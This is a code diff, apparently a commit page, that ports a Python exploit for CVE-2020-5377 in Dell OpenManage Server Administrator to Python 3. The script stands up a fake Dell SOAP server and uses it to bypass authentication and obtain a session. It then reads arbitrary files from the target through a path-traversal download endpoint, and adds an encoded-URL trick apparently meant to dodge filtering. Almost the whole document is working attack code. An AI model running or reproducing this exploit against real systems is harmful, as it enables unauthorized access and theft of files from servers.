|
5 | 5 | # https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability
|
6 | 6 |
|
7 | 7 | from xml.sax.saxutils import escape
|
8 |
| -import BaseHTTPServer |
9 |
| -import requests |
10 |
| -import thread |
| 8 | +import http.server |
11 | 9 | import ssl
|
12 | 10 | import sys
|
13 | 11 | import re
|
14 | 12 | import os
|
| 13 | +import requests |
| 14 | +import _thread |
15 | 15 |
|
16 | 16 | import urllib3
|
17 | 17 | urllib3.disable_warnings()
|
18 | 18 |
|
19 | 19 | if len(sys.argv) < 3:
|
20 |
| - print 'Usage python auth_bypass.py <yourIP> <targetIP>:<targetPort>' |
21 |
| - exit() |
22 |
| - |
23 |
| -#This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909 |
24 |
| -#Also check out https://github.com/hantwister/FakeDellOM |
25 |
| -class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): |
26 |
| - def do_POST(s): |
27 |
| - data = '' |
28 |
| - content_len = int(s.headers.getheader('content-length', 0)) |
29 |
| - post_body = s.rfile.read(content_len) |
30 |
| - s.send_response(200) |
31 |
| - s.send_header("Content-type", "application/soap+xml;charset=UTF-8") |
32 |
| - s.end_headers() |
33 |
| - if "__00omacmd=getuserrightsonly" in post_body: |
34 |
| - data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>") |
35 |
| - if "__00omacmd=getaboutinfo " in post_body: |
36 |
| - data = escape("<ProductVersion>6.0.3</ProductVersion>") |
37 |
| - if data: |
38 |
| - requid = re.findall('>uuid:(.*?)<',post_body)[0] |
39 |
| - s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?> |
40 |
| - <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule"> |
41 |
| - <s:Header> |
42 |
| - <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To> |
43 |
| - <wsa:RelatesTo>uuid:'''+requid+'''</wsa:RelatesTo> |
44 |
| - <wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID> |
45 |
| - </s:Header> |
46 |
| - <s:Body> |
47 |
| - <n1:SendCmd_OUTPUT> |
48 |
| - <n1:ResultCode>0</n1:ResultCode> |
49 |
| - <n1:ReturnValue>'''+data+'''</n1:ReturnValue> |
50 |
| - </n1:SendCmd_OUTPUT> |
51 |
| - </s:Body> |
52 |
| - </s:Envelope>''') |
53 |
| - |
54 |
| - else: |
55 |
| - s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''') |
56 |
| - |
57 |
| - def log_message(self, format, *args): |
58 |
| - return |
59 |
| - |
60 |
| -createdCert = False |
| 20 | + print('Usage: python CVE-2020-5377.py <yourIP> <targetIP>:<targetPort>') |
| 21 | + exit() |
| 22 | + |
| 23 | +# This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909 |
| 24 | +# Also check out https://github.com/hantwister/FakeDellOM |
| 25 | +class MyHandler(http.server.BaseHTTPRequestHandler): |
| 26 | + def do_POST(self): |
| 27 | + data = b'' |
| 28 | + content_len = int(self.headers.get('content-length', 0)) |
| 29 | + post_body = self.rfile.read(content_len) |
| 30 | + self.send_response(200) |
| 31 | + self.send_header("Content-type", "application/soap+xml;charset=UTF-8") |
| 32 | + self.end_headers() |
| 33 | + if b"__00omacmd=getuserrightsonly" in post_body: |
| 34 | + data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>").encode('utf-8') |
| 35 | + if b"__00omacmd=getaboutinfo " in post_body: |
| 36 | + data = escape("<ProductVersion>6.0.3</ProductVersion>").encode('utf-8') |
| 37 | + if data: |
| 38 | + requid = re.findall(b'>uuid:(.*?)<', post_body)[0] |
| 39 | + response = b'''<?xml version="1.0" encoding="UTF-8"?> |
| 40 | + <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule"> |
| 41 | + <s:Header> |
| 42 | + <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To> |
| 43 | + <wsa:RelatesTo>uuid:'''+requid+b'''</wsa:RelatesTo> |
| 44 | + <wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID> |
| 45 | + </s:Header> |
| 46 | + <s:Body> |
| 47 | + <n1:SendCmd_OUTPUT> |
| 48 | + <n1:ResultCode>0</n1:ResultCode> |
| 49 | + <n1:ReturnValue>'''+data+b'''</n1:ReturnValue> |
| 50 | + </n1:SendCmd_OUTPUT> |
| 51 | + </s:Body> |
| 52 | + </s:Envelope>''' |
| 53 | + self.wfile.write(response) |
| 54 | + |
| 55 | + else: |
| 56 | + self.wfile.write(b'''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Dell Inc.</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''') |
| 57 | + |
| 58 | + def log_message(self, format, *args): |
| 59 | + return |
| 60 | + |
| 61 | +created_cert = False |
61 | 62 | if not os.path.isfile('./server.pem'):
|
62 |
| - print '[-] No server.pem certifcate file found. Generating one...' |
63 |
| - os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"') |
64 |
| - createdCert = True |
| 63 | + print('[-] No server.pem certificate file found. Generating one...') |
| 64 | + os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"') |
| 65 | + created_cert = True |
65 | 66 |
|
66 |
| -def startServer(): |
67 |
| - server_class = BaseHTTPServer.HTTPServer |
68 |
| - httpd = httpd = server_class(('0.0.0.0', 443), MyHandler) |
69 |
| - httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) |
70 |
| - httpd.serve_forever() |
| 67 | +def start_server(): |
| 68 | + server_class = http.server.HTTPServer |
| 69 | + httpd = server_class(('0.0.0.0', 443), MyHandler) |
| 70 | + context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) |
| 71 | + context.load_cert_chain(certfile='./server.pem') |
| 72 | + httpd.socket = context.wrap_socket(httpd.socket, server_side=True) |
| 73 | + httpd.serve_forever() |
71 | 74 |
|
72 |
| -thread.start_new_thread(startServer,()) |
| 75 | +_thread.start_new_thread(start_server, ()) |
73 | 76 |
|
74 |
| -myIP = sys.argv[1] |
| 77 | +my_ip = sys.argv[1] |
75 | 78 | target = sys.argv[2]
|
76 | 79 |
|
77 |
| -def bypassAuth(): |
78 |
| - values = {} |
79 |
| - url = "https://{}/LoginServlet?flag=true&managedws=false".format(target) |
80 |
| - data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"} |
81 |
| - r = requests.post(url, data=data, verify=False, allow_redirects=False) |
82 |
| - cookieheader = r.headers['Set-Cookie'] |
83 |
| - sessionid = re.findall('JSESSIONID=(.*?);',cookieheader) |
84 |
| - pathid = re.findall('Path=/(.*?);',cookieheader) |
85 |
| - values['sessionid'] = sessionid[0] |
86 |
| - values['pathid'] = pathid[0] |
87 |
| - return values |
88 |
| - |
89 |
| -ids = bypassAuth() |
90 |
| -sessionid = ids['sessionid'] |
91 |
| -pathid = ids['pathid'] |
92 |
| - |
93 |
| -print "Session: "+sessionid |
94 |
| -print "VID: "+pathid |
95 |
| - |
96 |
| -def readFile(target,sessid,pathid): |
| 80 | +def bypass_auth(): |
| 81 | + values = {} |
| 82 | + url = "https://{}/LoginServlet?flag=true&managedws=false".format(target) |
| 83 | + data = {"manuallogin": "true", "targetmachine": my_ip, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"} |
| 84 | + r = requests.post(url, data=data, verify=False, allow_redirects=False) |
| 85 | + cookie_header = r.headers['Set-Cookie'] |
| 86 | + session_id = re.findall('JSESSIONID=(.*?);', cookie_header) |
| 87 | + path_id = re.findall('Path=/(.*?);', cookie_header) |
| 88 | + values['sessionid'] = session_id[0] |
| 89 | + values['pathid'] = path_id[0] |
| 90 | + return values |
| 91 | + |
| 92 | +ids = bypass_auth() |
| 93 | +session_id = ids['sessionid'] |
| 94 | +path_id = ids['pathid'] |
| 95 | + |
| 96 | +print("Session: " + session_id) |
| 97 | +print("VID: " + path_id) |
| 98 | + |
| 99 | +def read_file(target, sess_id, path_id): |
97 | 100 | while True:
|
98 |
| - file = raw_input('file > ') |
99 |
| - url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file) |
100 |
| - cookies = {"JSESSIONID": sessid} |
101 |
| - r = requests.get(url, cookies=cookies, verify=False) |
102 |
| - print 'Reading contents of {}:\n{}'.format(file,r.content) |
103 |
| - |
104 |
| -def getPath(path): |
105 |
| - if path.lower().startswith('c:\\'): |
106 |
| - path = path[2:] |
107 |
| - path = path.replace('\\','/') |
108 |
| - return path |
109 |
| - |
110 |
| -readFile(target,sessionid,pathid) |
| 101 | + file = input('file > ') |
| 102 | + url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file) |
| 103 | + s = requests.Session() |
| 104 | + cookies = {"JSESSIONID": sess_id} |
| 105 | + req = requests.Request(method='GET', url=url, cookies=cookies) |
| 106 | + prep = req.prepare() |
| 107 | + prep.url = "https://{}/{}/DownloadServle%74?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file) |
| 108 | + r = s.send(prep, verify=False) |
| 109 | + print('Reading contents of {}:\n{}'.format(file, r.content.decode('utf-8'))) |
| 110 | + |
| 111 | +def get_path(path): |
| 112 | + if path.lower().startswith('c:\\'): |
| 113 | + path = path[2:] |
| 114 | + path = path.replace('\\','/') |
| 115 | + return path |
| 116 | + |
| 117 | +read_file(target, session_id, path_id) |
| 118 | + |
111 | 119 |
|
112 | 120 |
|
0 commit comments